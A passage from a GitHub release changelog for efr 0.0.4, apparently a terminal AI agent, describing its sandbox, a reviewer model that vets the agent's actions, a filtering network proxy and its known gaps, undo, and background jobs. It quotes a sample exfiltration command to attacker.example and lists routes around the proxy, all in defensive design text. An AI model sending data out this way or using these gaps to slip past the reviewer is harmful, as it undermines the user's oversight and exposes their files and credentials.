Skip to content

efr 0.0.4

Choose a tag to compare

@github-actions github-actions released this 23 Oct 05:58
· 477 commits to main since this release

Added

  • In auto, a reviewer model now decides most actions that leave the sandbox, so you
    see far fewer questions. It reads your messages and the facts that efr collects,
    never the output of a command. It allows an action that fits what you asked,
    refuses an action that nothing you said relates to, and gives an unsure case to
    you. While it works, the status row shows reviewing: <command>. Its answer stays
    as one line, reviewer allowed: ... or reviewer refused: .... An allow opens that
    one path, host, socket or device for one call. docs/use/sandbox-basics.md,
    "Exits", has the details.
  • The reviewer is the small model of your provider (gpt-6-luna for OpenAI,
    claude-haiku-5-5 for Claude). It writes a short reason before its verdict. When
    the reason is empty, efr asks it once more. When the small model is missing,
    refuses or gives no usable answer, the turn's model reviews, and then you decide.
    Each review is one more request to your provider: with an API key, you pay for it.
    The new [classifier] table sets the model, the effort, the timeout of each step
    (20 seconds) and the fallback to the turn's model. classifier.enabled = false
    asks you about each action that leaves the sandbox, as before.
  • You still decide these actions, never the reviewer: sudo and other ways to more
    rights, a delete of your home directory, /, a system directory or more than one
    project, a read of a masked file, a write to a synced folder, a desktop command that
    types or starts programs, a credential agent's socket (such as $SSH_AUTH_SOCK),
    and a change of the settings. The whole session bus asks you too, also at another
    path (such as one of dbus-launch below /tmp), because it can start programs
    outside the sandbox and read an unlocked keyring; the question says so. An upload,
    such as git push, and a delete above the project go to the reviewer only when a
    message of yours names them.
  • The reviewer can allow a network call only when a message of yours names each host
    that the line shows: the host of a URL, a remote operand of scp, sftp or
    rsync, or the destination of ssh. So "upload my notes" does not let
    curl -d @notes.txt https://attacker.example/ run with no question. A host, a path
    or an upload counts as named only when your message is in the current turn or in
    your turn before it: a "now do it" three turns after "commit and push" asks you.
    After another terminal picked up the conversation, only your messages since then
    count. The reviewer still reads all your messages.
  • After the reviewer refused 3 actions in a row, or 10 in one turn, it pauses for the
    rest of the turn, and efr asks you instead. When you are away, the turn stops.
  • A network proxy for auto, on by default (network.mode = "proxy"). A sandboxed
    command now reaches the package registries and GitHub with no question: crates.io,
    npm, PyPI, the Go module proxy, GitHub downloads and your pacman mirrors. So
    cargo build with a new dependency, npm install and pip install run at once.
    efr checks each connection: the host must be on your allow list, it must not
    resolve to a local or private address, and the TLS server name must match. Plain
    http:// gets through only for the hosts that you mark. network.allow,
    network.deny, [[network.hosts]] and network.max_upload_bytes set what the
    proxy lets through. A command that names a host that is not on the list goes to the
    reviewer for that one host and port. nslookup, dig, ping, nc and other
    programs that do not use HTTP, servers that your browser must reach, services on
    your machine or your LAN, and other ports still need the whole network after a
    review. The proxy runs only when its self-test passes. If not, efr sandbox check
    warns, and commands have no network. network.mode = "none" gives the old
    behaviour: no network, and an exit that opens the whole network for one command.
    docs/use/network.md has the details.
  • The proxy cannot see inside TLS. A sandboxed command can still send data to a host
    on your allow list: at most network.max_upload_bytes (4 MiB) per command, counted
    from the first byte of each connection. Hosts that fetch for the client (the Go
    module proxy) and your own *.suffix entries widen this. A socket grant that
    reaches the network, such as Docker's socket, goes around the proxy. Tools that send
    an Encrypted Client Hello, such as headless Chrome, Electron and Playwright, cannot
    fetch through the proxy. Node's fetch uses the proxy through
    NODE_USE_ENV_PROXY=1, so Node prints an "experimental" warning on stderr in
    sandboxed commands. docs/sandbox.md, "What the proxy cannot stop", lists the
    limits.
  • With the proxy, efr blocks a host for sandboxed commands, and says why, when a file
    or a helper can give the command a token for that host. This covers a password or a
    token for the host in your git config (also ~/.gitconfig and its includes, also
    for a command outside a project) or in the project's .npmrc, .yarnrc.yml,
    .yarnrc, bunfig.toml or .cargo/config.toml. It also covers a git credential
    helper that can hand out a token: a ! command, or a helper that efr does not know
    (not libsecret, store, cache or manager), such as oauth or
    pass-git-helper. The note names the helper. A helper for one site blocks only that
    site. A helper for every site blocks the hosts of the repository's remotes. A
    gh auth git-credential helper blocks no host while the sandbox hides gh's token,
    so git clone and git fetch from GitHub work in the sandbox. Move a token to a
    file that the sandbox hides, such as ~/.npmrc. A socket grant to git's credential
    cache asks only you. efr sandbox check warns about each sandbox.env_keep entry
    that looks like a secret, because the proxy lets it reach the allowed hosts.
  • A command that the proxy refused shows network: blocked <host:port> (<reason>),
    and the model reads why. A host on the deny list, or a host that efr blocks for a
    token, shows denied for this command, and the model reads that no host grant
    helps. A background job lists its refusals in the line of its end, in the view, in
    efr history and in efr jobs stop. The reviewer sees the hosts that the proxy
    refused in the last command and in the jobs, but only as a fact, never as your
    request. A denied host is not one of them.
  • efr undo takes back the newest turn of this terminal's conversation. It shows
    what it will do (restore, trash, delete, ref) and asks undo? y = yes, n = no. It
    restores the files that the turn's commands changed in the project, in $SCRATCH,
    in the other projects that the turn wrote and outside the projects, and the
    branches that the turn moved. It also removes the empty directories that the turn
    made outside the project, such as a *.wants directory. A file that changed after
    the turn stays, and the preview lists it; --force overwrites it. When only
    --force acts on the rows of the preview, efr undo without it changes nothing
    and fails with that hint. A change that you made during the turn between two
    commands stays. --redo takes back the undo. --list, --turn and --dry-run
    help you pick. Without a terminal, efr undo needs --yes.
    docs/use/undo-and-diff.md has the details.
  • efr undo keeps your git index as it is. Every file that undo overwrites or removes
    goes to ~/.local/share/efr/undo-trash/ first, and a directory that undo makes
    again gets mode 0700. An undo that stops at a write that fails says
    undo stopped: ..., and the next efr undo finishes it. An undo that can write
    nothing leaves the turn as it is. The preview of a manual or cautious turn says
    that writes outside the project are not covered.
  • After a stop of efrd, or for a call that you interrupted or that ran past its
    timeout, efr undo --force takes back the changes of the turn's calls, also those
    of write_file, edit and apply_patch. Such a turn says
    not covered: <project> (a call did not finish) or
    <path> (the call did not finish).
  • efr undo refuses while a background job of the conversation runs, or while a job
    of another conversation can write in the same project, and names the job:
    job j3 runs; stop it first (efr jobs stop j3). A job outside the sandbox can write
    everywhere, so it blocks every undo. When a job ends, its file changes join the turn
    that started it, and the undo of that turn needs --force. A file that a later turn
    changed in the meantime stays with that turn. When the job notice turn of a job's
    end changed nothing, efr undo with no --turn passes over it and takes back the
    job's turn. Snapshots leave $SCRATCH/jobs out.
  • Undo also covers files outside the project in auto. Before efr writes a file
    outside the project and $SCRATCH, such as ~/.zshrc or ~/Documents/notes.md,
    or deletes a cache, it copies the file into its snapshot store. A file that did not
    exist before goes to the undo trash. A directory with more than
    snapshot.home_max_files files (2000) or snapshot.home_max_mib MiB (256) gets no
    copy, and the end of the turn says so. For a directory that holds a git repository,
    such as ~/notes with ~/notes/.git, efr copies the files but not the .git, and
    the end of the turn says that undo does not cover ~/notes/.git.
  • At the end of an auto turn, one line says what changed and that you can take it
    back: changed 4 files (+12 -3) in <project> and 2 in ~; efr undo reverts this turn.
    A turn that only moved refs says
    moved 1 ref in <project>; efr undo reverts this turn. A file inside the project,
    such as .env, belongs to the project's snapshot, also when the sandbox hides it.
    Files that undo cannot bring back, such as a large ignored file, show on a line
    not covered: .... The lines come also when the turn failed or you interrupted it.
    efr history shows the same lines; for a turn that undo cannot take back, it shows
    the line of the changed files, such as 3 files changed, +24 -7. efr history
    shows each undo as one line, and --verbose adds each snapshot.
  • New keys for undo: undo.enabled, snapshot.mirror_max_mib,
    snapshot.home_max_files and snapshot.home_max_mib.
  • When a command in auto deletes files in a tool cache, such as ~/.cache or
    ~/.cargo, the reviewer decides whether efr deletes them in your real cache too. So
    "free some disk space" frees real space. efr never deletes below ~/.cargo/bin, a
    cargo config or a credentials file. The call shows the freed size.
  • Background jobs. The model can start a long command, such as a dev server, a watcher
    or a slow build, as a job with background: true. The call answers at once with the
    job's id and its output file. In auto, the job runs in the same sandbox as a normal
    command. In cautious and manual, efr asks you before each job starts, and the job
    runs as an approved command does. A job runs at low CPU and disk priority, with no
    terminal. efr writes its output to $SCRATCH/jobs/<id>.out: the first 1 MiB and
    the last 8 MiB. A job ends when its command ends, when you or the model stop it,
    after its time limit (60 minutes unless the model asks for more, at most
    jobs.max_minutes), or when efrd stops. After a restart, efrd ends each job that
    still ran. Esc and the end of a turn do not stop a job. The model reads and stops
    its jobs with the tools jobs and job_stop. docs/use/jobs.md has the details.
  • New keys for background jobs: jobs.enabled, jobs.default_minutes,
    jobs.max_minutes, jobs.max_running, jobs.max_running_daemon,
    jobs.max_wakes_per_hour, jobs.max_wakes_per_hour_daemon,
    jobs.max_wakes_per_watch, jobs.nice and jobs.forward_ports.
  • efr refuses a background job whose line asks for sudo, reads a masked file such as
    .env, types into your desktop, uses the D-Bus bus (except the read-only queries of
    the bus filter), a container engine or a service manager socket, runs nmcli or
    iwctl, or changes a file that runs code later, such as ~/.zshrc. This holds in
    every mode, also after you answer yes. The model must run such a part in the
    foreground. Outside auto, an approved job runs with your rights, so a program that
    it starts can still do these things; only a setuid program cannot give it more
    rights. In auto, a delete that undo covers still goes to the reviewer when it runs
    as a job.
  • A question about a background job says how long the job and what a yes opens last:
    runs as a job for up to 60 minutes; these grants stay open until it ends. Only
    your own terminal answers it, never a phone. What the reviewer allows also stays
    open for the whole job, so it judges the job's command for its whole time limit. In
    a turn that a job notice started, it allows only what an earlier message of yours
    asks for.
  • When a background job ends, efr tells the model with a job notice. A notice is never
    your input: it never answers a question and never counts as your permission. When
    the conversation is idle, the notice starts a short turn, marked
    (job notice, not your input), in every mode, at most jobs.max_wakes_per_hour
    times per hour in the conversation and jobs.max_wakes_per_hour_daemon times in
    all. Such a turn runs at most 20 tool calls, and a job that it starts never starts
    another one. It runs in the mode of your newest prompt, at most auto, so outside
    auto its commands ask you as usual. A question in such a turn waits only the away
    wait unless you follow the conversation, and its card has (job notice turn) in
    the title. A watch pattern can also wake the model on a matching output line. The
    notice of a job that the model stopped, or that efrd stopped because full mode went
    off, starts no turn. A notice over the limits rides in your next prompt.
  • While efr follows a turn, the view shows a line when a job starts, such as
    job j3 started; output $SCRATCH/jobs/j3.out; ends in 60 minutes, and when a job of
    the conversation ends, such as job j3 ended with exit 3 after 1 minute; 2.0 KB output. The line also says when processes of the job may still run, and why a job
    notice did not start a turn. A call that starts a job shows (background). A turn
    that a job notice started shows 🤖 (job notice, not your input), in the view and
    in efr history. efr history --verbose adds the last lines of a job's output and
    the text of each notice.
  • In a terminal that does not follow the conversation, the next prompt shows one line
    when a job ends, such as efr: job j3 ended (exit 0): <title>, or when its notice
    waits for your next prompt. The line also names a lost launcher and the processes of
    the job that may still run. After a job notice turn, the line names the jobs and the
    first line of the answer. After a restart, efrd writes a line for each job that it
    ended. A notice from before your terminal opened does not show.
  • efr jobs (or efr jobs list) lists the jobs of this terminal's conversation,
    newest first: the id, the state, when it ends or ended, the size of its output, its
    ports and its command. --all lists the jobs of every conversation with its title,
    and --conversation names another one. efr jobs stop <id> stops a job and shows
    how it ended and the last 10 lines of its output. An unknown job exits 1. efr removes
    the output file of a job 7 days after the job ended, and keeps at most the 20 newest
    outputs of ended jobs per conversation.
  • In the input row of a followed turn, Ctrl+X stops the newest running job of the
    conversation. It asks first: stop job j3 (npm run dev), y yes, n no. With no
    running job, it says no job runs. Esc still stops only the turn, never a job.
  • Ctrl+B in the turn view moves the agent's running shell call to the background as a
    job, whatever the input row holds. A call in the sandbox moves at once and keeps its
    sandbox. A call that runs outside the sandbox asks one y/n question first, because
    the command keeps running with your rights after the turn. The turn goes on at once.
    The model reads the output so far and the job's id, and a job notice follows when
    the command ends. The next call gets a new hidden shell in the same directory.
    efr jobs shows when a moved command waits for input that nobody can type. In tmux,
    press Ctrl+B twice. A command that waits for input, that can ask at the terminal
    (such as sudo), or that efr does not allow as a job cannot move, and neither can a
    call that holds the sandbox's cache. docs/use/jobs.md, "Move a running command to
    the background", has the details.
  • In auto, a loopback port that a contained background job listens on is reachable
    on the same port of 127.0.0.1 on your machine, so your browser opens a dev server
    that the model started. The view shows
    job j1 listens on 127.0.0.1:8765 -> http://localhost:8765, and efr jobs lists the
    ports. efr forwards TCP ports from 1024 up. It never forwards a port that is in use
    on your machine, port 3128 of a proxy job, or a well-known service port, such as
    5432, 6379 or 1455 of efr login. Only your own user's programs can connect. The
    forward ends with the job. A foreground call and a moved call get no forward.
    jobs.forward_ports = false turns it off.
  • The model learns whether efr forwards each port of its jobs. Before its next step,
    also in the same turn, it reads a note from efr: the URL of a forwarded port, or the
    reason why efr does not forward a port, with the advice to choose another port. So
    the model does not give you a URL that opens another server. The jobs tool shows
    the outcome of each port.
  • In auto, a contained command reaches the forwarded ports of its conversation's
    jobs at 127.0.0.1 and localhost with no question, so the agent can check the dev
    server that it started. A line that names a port of a job that efr does not forward,
    such as a port that a program of yours uses, does not run: the whole network would
    reach your program, not the job. efr asks you nothing and tells the agent why, such
    as efr: port 8767 of job j1 is not forwarded: 127.0.0.1:8767 is in use on this machine. .... When the job started less than 3 seconds ago, efr first waits for the
    outcome of the port. A port of no job still asks. docs/use/jobs.md, "Open a dev
    server in your browser", has the rules.
  • While a job runs in the sandbox, efr checks the git settings and hooks of its
    projects every 5 minutes and before each sandboxed command there. This includes the
    submodules at any depth, the git dir that a .git file names, and the include files
    and the core.hooksPath dir that their config names. When the job planted a hook or
    a git setting that runs code, efr moves it to the quarantine and stops the job. After
    a restart, efr checks a job that the last efrd left running. Before a git or upload
    line runs outside the sandbox, efr checks every running job in the sandbox.
  • To give a job your shell's environment, the hidden shell writes its exported
    variables to an env file (0600) in efr's runtime dir at each prompt where they
    changed. It also writes its functions, aliases and options for the sandbox at such a
    prompt, not only before a command in auto. A job outside the sandbox, and any
    command outside the sandbox, keeps the variables that place efr's own dirs
    (EFR_HOME, EFR_RUNTIME_DIR and the others), so an efr in it reaches the efrd
    that runs it.
  • Full mode, a fourth permission mode: commands run as you, with no sandbox and no
    questions. Turn it on by hand with permissions.allow_full = true in config.toml
    (or efr config set). Then choose it with ,mode full in a terminal,
    efr send --mode full for one prompt, or permissions.mode = "full" as the
    default. efr still reads each command line. It denies secrets, its own config and
    its own dirs. It asks before sudo, before a process that outlives the turn, before
    a delete of ~, /, a system dir or a project, before a delete that undo cannot
    revert, and before a line that reads or writes a whole dir with a secret or efr's
    config below it (du ~). Only your own machine answers the sudo and delete
    questions, and a delete question waits 2 minutes. efr takes its snapshot before each
    call and copies a file outside the project first when the line names it, so
    efr undo reverts the project and the files that efr saw. efr does not read a
    script or a program that a line starts: it can do what you can, also answer efr's
    questions. Full mode gives no protection against prompt injection or a mistake in a
    script. docs/use/modes.md, "full", and docs/permissions.md, "Full mode", have
    the details.
  • Full mode never runs in a turn from a phone, in a turn that a job notice starts, in
    an efrd that runs as root or has undo.enabled or snapshot.enabled set to false,
    or with a hidden shell that is no zsh. A steer from a phone never goes into a running
    full turn. When efrd cannot run full mode, a turn that names no mode runs as auto
    and records why, and a prompt that names full mode fails with the reason. When you
    turn full mode off while a full turn runs, its next call does not run and the turn
    stops. efrd also stops each background job that a full call started
    (stopped: full mode was turned off), with no job notice turn.
  • ,mode full and efr settings --mode full ask efrd first. When config.toml does
    not allow full mode, or efrd cannot run it, they fail with the reason, and the
    terminal keeps its old mode. If not, three lines say what full mode does, what efr
    still reads and asks, and that a script or a program that a line starts is not
    read. The zsh plugin ignores EFR_MODE=full from the environment when it loads, and
    says so on one line: use ,mode full. Any other EFR_MODE still gives the
    terminal's first mode.
  • The settings tool refuses to change permissions.allow_full and refuses to set
    permissions.mode = "full". permissions.mode = "full" in config.toml needs
    permissions.allow_full = true. Without it, efrd does not load the file, and the
    error says to set the key or another permissions.mode. When config.toml makes
    full mode the default, efrd writes a warning to its log at the start and at the
    reload that makes it so.
  • A full turn shows full mode in red at its start, and full in red in the status
    row and on the row of a running call. At its end, one line lists what efr saw full
    mode let through, such as efr saw 2 actions that full mode let through: write ~/notes.txt, upload (git push); the actions of a script are not in it. A question
    that full mode still asks shows why on its first row, and expires in 2 min when it
    waits a fixed time. efr history --verbose shows exit allowed by full mode, and
    efr undo --list shows full for a full turn. A turn that asked for full mode and
    runs with less says this turn runs as auto: <reason>.
  • While a terminal's prompts run in full mode, the zsh plugin shows the mark 🔓 next
    to the robot in sticky mode, such as 🤖🔓 app › , also when config.toml makes
    full mode the default. EFR_FULL_MARK sets another mark, and an empty value shows
    none. efr_prompt_info shows the mark too. Outside sticky mode, the red first line
    of each turn says full mode.
  • efr status shows full mode as allowed, off (permissions.allow_full is false) or refused (<reason>), and default mode full when config.toml makes
    full mode the default.
  • A full call clears sudo's cached password before and after the call. When your
    sudoers shares the cache across terminals (timestamp_type=global), this also
    clears your own terminal's cache. A background job of full mode cannot gain rights
    through sudo or another setuid program (no_new_privs), so it cannot use sudo's
    cached password. A polkit rule with no authentication still works there.
  • While a full turn or its job runs, efr does not load a change of config.toml that
    loosens permissions. It keeps the change held after that, also over a restart of
    efrd: efr status shows config held with the keys that loosen, your terminal
    hears it once, and efr config reload says config.toml is held; the old settings stay with the reason. If you did not make the change, take it out of the file, and
    then run efr config reload. A change that turns full mode off, such as
    permissions.allow_full = false, applies at once, also while another change is
    held.
  • ,resume and efr resume list the recent conversations, the ones of the current
    project first, with their title, project, age and turn count. ,resume N (or an id
    start) makes one this terminal's conversation again: the next prompt in its project
    continues it, its hidden shell starts in its last directory, and its jobs report
    here. When another open terminal holds it, efr names that terminal and asks first;
    efr resume --take N moves it with no question. ,resume <words> searches when the
    words are not a number or a conversation id. efr history shows
    resumed in /dev/pts/7 where it happened.
  • ,resume opens a live search picker when fzf 0.46 or newer is installed (an
    optional program, as bubblewrap is). It shows below the command line, never full
    screen, and clears itself when it closes. Type to search the titles and the text of
    your conversations; the preview shows the matching lines. Enter continues the
    conversation here, Ctrl+O prints it like efr history, and Esc closes it.
    ,resume <words> opens the picker with the words as its query, and the words never
    show in the process list. Without fzf, ,resume shows a numbered list, and
    ,resume <words> prints the best matches. [resume] picker = "list" turns the
    picker off.
  • efrd now keeps a search index of your conversations: the titles, your prompts, the
    model's answers and the commands that the agent ran. It never holds the output of a
    command, the contents of a file or the text of a heredoc. Before text goes into the
    index, efr removes the secrets that it recognises: keys with a known start, long
    random words, tokens, passwords in URLs and in assignments, private keys, and
    name: value secrets in config text. It cannot recognise every secret. After the
    upgrade, efrd indexes your old conversations in the background. Until it ends, a
    search shows how far it is. efr search <words> prints the conversations that
    match, best first, with the matching text. docs/use/conversations.md has the
    details.
  • efr has a docs website at https://eggfriedrice24.github.io/eggfriedrice.code/.
    mdBook builds it from the files in docs/: a guide to install and use efr, the
    settings and the config.toml reference, help, the internals and this changelog.
    The decision records stay on GitHub only for now. The site is dark, in the colours
    of the eggfriedrice design system, and it works on a phone.
  • A new terminal in a registered project picks up the project's newest conversation
    when no open terminal holds it and it was active within
    conversation.tty_idle_hours. Its hidden shell starts in its last directory, as
    with ,resume. The reply then starts with one dim line, such as
    ↪ picked up "fix the proxy test" in app (25 min ago); ,new starts fresh. A
    conversation is never open in two terminals: a terminal whose shell still runs, or
    that follows the conversation, holds it. A phone never holds one. A conversation
    that no terminal held, such as one of efr send from a script or one that a phone
    started, is never picked up.
    efr history shows picked up in /dev/pts/7 where it happened.
  • A marker shows the scope of a prompt before you send it. In sticky mode, the line
    shows 🤖 app › in a registered project and 🤖 ○ › outside projects. The status
    row of a running turn ends with the scope. efr_prompt_info (or the variable
    $efr_scope) gives the scope to your own prompt, with each % doubled for
    prompt_subst. efr never changes your prompt. The zsh plugin runs no program for
    it: efrd writes the registered projects to projects.tsv in its runtime directory.
  • A prompt in a git repository that is not a registered project shows, at most once a
    day for each repository, that writes there ask you and how to register it:
    ○ ~/p/tool is a git repo but not a project: writes there ask you. efr project add ~/p/tool registers it. efr never registers a repository by itself.
    conversation.repo_hint = false turns it off.
  • efr away and ,away tell efr that you are away from the conversation of this
    terminal. efr also counts you away after 10 minutes without input in the
    conversation (presence.away_after_minutes). While you are away, the status row of
    a running turn shows away, and a question waits 5 minutes
    (presence.away_wait_secs), also a question that already waited when you left.
    Then the call does not run, and the model goes on without it and names it in its
    answer. Your next input ends the away state.
  • efr context and ,context show what fills the model's context of this terminal's
    conversation: the model's last count with its ctx N%, then efr's estimate of the
    next request by part (the system prompt, the tools, the summary, the prompts, the
    notices, the answers, the tool calls and the tool outputs), the five largest items,
    such as output of $ cargo test, turn 12, the compactions and the cache use, such
    as last turn 91%; conversation 83% read, 210k written (200k for 1h). It shows no
    text of a message. efr context <id> shows another conversation, --model counts
    for another model, and --json gives the same facts to scripts. ,context <words>
    was a prompt before; it now runs this command with the words.
  • A prompt now tells the model the recent commands of your terminal, after the last
    command: each one with its exit status, its directory when that is not the current
    one, and how long ago it ended. The zsh plugin keeps the last 10 command lines of
    each terminal, but never a , line, an efr command or a line that starts with a
    space. A line that starts with a space is not sent as the last command either. The
    new key context.recent_commands sets how many the model sees (8 by default, 0 for
    none). Like the last command, they go to the model with their secrets redacted, and
    never into the event log. The plugin keeps the first 2,000 characters of each line
    and at most 64 KiB of recent commands, so a very long line never stops a , line.
  • When a command of the agent still runs in its hidden shell after its call answered
    the model, efr now tells you: the call shows still runs in the hidden shell, the
    end of the turn names the command, and the next prompt shows a notice. When the
    command waits for input, such as a password, you see the line that asks. You answer
    it in the turn view, or with the new ,shell (or efr shell), where Ctrl+C stops
    it. A wait for a password stays for you only when you or your own rule approved a
    line that may ask for one; efr stops other such waits and tells you. Such a command
    that waits for input ends after shell.interactive_timeout_minutes. Any command
    that waits for input past its timeout goes on while you follow the turn.
    docs/use/hidden-shell.md, "A busy hidden shell", has the details.
  • A paste of several lines that all start with , now sends one prompt for each line.
    The first prompt runs, and the others wait behind it in their order, as Tab in the
    input row queues them. A paste with any other line stays one prompt.
  • In auto, efr can change a file that runs code later, such as ~/.zshrc or a
    Hyprland config, when you name it, such as "add an alias to my zshrc" or "change the
    gap in my hyprland config". The reviewer decides, and it sees the change that efr
    will write. A whole directory still asks you. efr copies the file first, and at the
    end of the turn each such file gets one line: changed ~/.zshrc; efr undo reverts it, in the view and in efr history, also when the turn failed or you interrupted
    it. The turn's line of changed files does not count it again. With
    snapshot.enabled = false, such an edit asks you, because efr cannot copy the file
    first. efr sandbox explain says that efr undo reverts such an edit.
  • In auto, the reviewer can also allow a change that you name to a unit
    (systemctl --user enable, mask), a link into a *.wants directory, the
    autostart directory, your crontab and linger, when it can read what the change
    installs. The reviewer also reads each unit that the unit's Also= names. efr
    copies the links, the crontab or the linger setting first, so efr undo brings them
    back. A unit file or a link to it that changed in the turn asks you.
    systemctl --user link, edit, revert, at and systemd-run --user still ask
    you. efr runs crontab and loginctl itself only when root owns them and their
    directory; if not, these forms ask you. loginctl enable-linger with your own user
    name or uid counts as the form with no user. crontab -l only reads your crontab,
    so the reviewer can let the model read it before it writes all of it with
    crontab -.
  • Answer a (always), then y, at a question for an action that leaves the sandbox
    to save a rule in [[sandbox.allow]] of config.toml. A later command that the
    rule covers runs with no question and no review. A rule covers one host and port,
    one write dir, or one socket. The question shows the rule next to its keys, such as
    a always: write under ~/notes, and a first asks
    save rule "write under ~/notes"? y/n: any key but y goes back to the question.
    Then one line says saved as sandbox.allow[2]: write under ~/notes, or why efr did
    not save it. A command that a rule covers shows
    allowed by your rule sandbox.allow[2]: write under ~/notes, also in
    efr history. efr keeps the comments of the file. A rule of a bad shape stops efrd
    at start and makes a reload fail, and the error names that rule and its line, such
    as sandbox.allow[2] at line 12. A rule that no longer passes the floor checks is
    disabled with a warning, and efrd still starts.
  • An always rule never covers a privilege, persistence, upload, desktop, masked-read
    or synced-folder exit. It never runs a command outside the sandbox, never names a
    floor, efr's own dirs or a secret, never covers a dir above a floor, a write in a
    floor or in a .git dir, or a path through a link, and never beats a deny or
    ask rule or network.deny. Only an answer in your own terminal saves a rule; efr
    never writes one for a phone or the model. Any program of yours that can write
    config.toml can still add one. docs/use/sandbox-basics.md, "Always-allow
    rules", has the details.
  • efr sandbox allow lists the always rules of config.toml with their numbers, and
    marks a rule that efrd disabled with the reason. efr sandbox allow remove N asks
    remove sandbox.allow[N]: <rule>? y/n, removes the rule with y, keeps the
    comments of the file, and makes efrd read the file again. It removes nothing when
    the rule at N changed after the question.
  • A bus filter for auto, on by default (dbus.proxy = true). Read-only system
    queries now run with no review: hostnamectl, timedatectl, localectl,
    systemctl --failed, systemctl status <unit> and the other read forms,
    systemctl --user --failed, loginctl list-sessions, and desktop notifications
    with notify-send. The command reaches the system or session bus only through a
    filter that allows read methods and the calls of notify-send. A background job can
    run such queries too; the whole bus stays refused for jobs. The filter needs
    xdg-dbus-proxy 0.1.9 or newer. Older versions cannot serve hostnamectl and the
    other systemd tools, and let some messages past the filter. Ubuntu 24.04 and Debian
    ship an older version, so there the filter stays off until they ship 0.1.9. When the
    filter is off, these queries go to the reviewer, and the session bus commands ask
    you, with no warning unless you set dbus.proxy = true yourself.
    dbus.proxy = false turns the filter off. docs/sandbox.md, "The bus filter", has
    the details.
  • A bus call that the filter refuses fails in the command. efr tells the model which
    call the filter refused and how to ask for the whole bus for one command. The
    command shows each refused call under its result, such as
    bus: refused system org.freedesktop.systemd1 Manager.StartUnit, and the record of
    a command or a job keeps them. When the filter stops during a command, efr tells the
    model too.
  • [[dbus.allow]] allows more bus methods. For systemd, logind and the other default
    services, efr accepts only read methods. For other services, it refuses wildcards
    and known write and power methods. efrd refuses an entry of a bad shape at start and
    at a reload, and efr config check shows the same errors.
  • The bus filter of a command runs in its own Landlock domain with no TCP, a seccomp
    filter and an fd limit. It reads only its program and libraries, connects only to
    the two real buses, and makes its sockets only in the command's bus dir. Each
    command gets its own filter, which ends with the command. A filter that cannot start
    fails the command; the command never gets the whole bus instead. A bug in the filter
    itself still reaches your bus rights.
  • In auto, ss, ip addr, ip -s link, ip route, nstat and reads of
    /proc/net now run with no review and show your machine's real network: its
    sockets, links, counters and routes. The command runs in your machine's network
    namespace, but it cannot open a network socket: only local Unix sockets and the
    netlink views of ss and ip work, listen fails, and Landlock refuses TCP and
    connects to abstract Unix sockets outside the sandbox. Every program in such a call
    gets the same limits. A line that also does other work, iw, ifconfig,
    netstat, and changes such as ip link set still go to the reviewer. A background
    job that watches your network now starts with no review too. The new key
    network.netview (default true) turns this off. The dim line at the end of such a
    turn says host network view (no sending).
  • In auto, df and findmnt now run with no review and show your machine's mounts
    with their real sizes, also for /tmp, /dev/shm and your runtime dir. efr reads
    the mounts outside the sandbox. A mount that does not answer in one second shows
    -, so df never hangs on it. df <path> shows where a write in the sandbox goes,
    for example the private /tmp. Mounts below a hidden path, and mounts of other
    users, show no sizes. Every sandboxed command could already list the mounts through
    /proc/<pid>/mountinfo; the mount view adds their sizes. When efrd runs in a mount
    namespace of its own, for example because a unit drop-in sets ProtectHome, df
    and findmnt go to the reviewer and run outside the sandbox instead. A path or a
    wrapper, such as /bin/df, command df or timeout 10 df, also goes to the
    reviewer, because it runs the real df.
  • efr status and efr sandbox check show the network of a sandboxed command
    (network proxy, network none, or network none (proxy self-test failed)),
    whether the network view works (netview yes, netview no with the reason, or
    netview off (network.netview = false)), and the bus filter (bus filter on, or
    bus filter off with the reason, such as dbus.proxy = false or
    xdg-dbus-proxy is not installed). While efrd checks the bus filter again after a
    reload, they keep the state of the last check.
  • The dim line at the end of a turn names the network that its commands had:
    network through efr's proxy in place of no network when a command of the turn,
    or a background job that the turn started, ran with the proxy, and full network
    when a command had the whole network. When the turn changed files in projects, the
    line names them, such as
    sandbox: wrote in app and lib; could write $SCRATCH, private /tmp; ....
  • sandbox.keep_downloads (default false): in the tmp cache mode, the download
    caches (~/.cargo, ~/go/pkg/mod, ~/.npm, the bun and pnpm stores) keep what a
    command downloads for the rest of the conversation, in efr's private layer. Your own
    caches do not change. It is off by default because each sandboxed command then takes
    about 3 to 4 ms more to start.
  • The changed files of a turn now fall into groups: generated (lock files, *.snap
    snapshots, fixtures/), tests, docs and code. The line at the end of a turn names
    up to two groups that are not code, the largest first, such as
    9 files changed, +635 -44 (evals +503, tests +77). A turn that changed only code
    shows the line as before. efr diff --stat starts with a table of every group and a
    total row, and efr diff --stat --all adds up every turn of the conversation that
    undo did not take back. Your own groups go in config.toml, such as
    [diff.groups] evals = ["evals/", "*.eval.toml"]; they match first, in the order of
    the file. A group named code keeps its files in code, and total is not a name of
    a group.
  • efr history shows the lines of the reviewer, its pause, the expiry of a question
    while you were away, the space that a cache delete freed and each changed file that
    runs code later. efr history --verbose adds the model of each review, the step of
    its chain, its time and the models that it skipped, such as
    skipped claude-haiku-5-5: parse error, and asked again for a real reason when
    efr asked the reviewer again.
  • efr history --verbose shows the tokens of each turn on one muted line, such as
    18.2k in, 1.1k out, cache 91%, wrote 1.2k (1h): the input, the output, the cache
    share and the cache writes, also for an interrupted or failed turn.
  • A turn that ends with no answer says why, such as
    the model stopped with no answer (stop: refusal). An answer that reached the
    output limit says so too.
  • The journal of efrd has a line for a failed or interrupted turn, and the request id
    of a model call that failed. The phase=model_answer debug line says how the answer
    ended: stop_reason= with the provider's reason, or outcome=interrupted or
    outcome=error.
  • With log = "info,efr_conversation::usage=debug", the log of efrd shows one line
    with the numbers of each model call, such as usage gap_ms=95000 input=18200 output=1100 read=16600 write=1200 write_1h=1200, so you can measure which
    [anthropic] cache_ttl costs less. The line holds no text of a prompt or an answer.
  • The Arch packages name fzf (for the search picker) and xdg-dbus-proxy (for the
    bus filter) as optional dependencies.

Changed

  • A terminal now keeps one conversation for each registered project that you worked
    in, and one for everything outside registered projects. The conversation changes
    when you send a prompt, not when you cd: a prompt in ~/p/app (or below)
    continues the terminal's app conversation, and cd ~ and a prompt go back to its
    conversation outside projects. A dim line before the reply names each change, such
    as ↪ back to "fix the tests" in app (2 h ago) or
    ↪ new conversation for app (from ~). The first line of each reply names the scope
    (app, or ○ no project · ~); the settings of a prompt follow on the same line
    after ·. conversation.tty_idle_hours now applies to each of these
    conversations on its own. ,new starts a new conversation for the current scope
    only. efr history, efr undo, efr diff, efr jobs and the other commands act
    on the conversation of the terminal's last prompt. The new key
    conversation.follow_project = false keeps one conversation per terminal, as
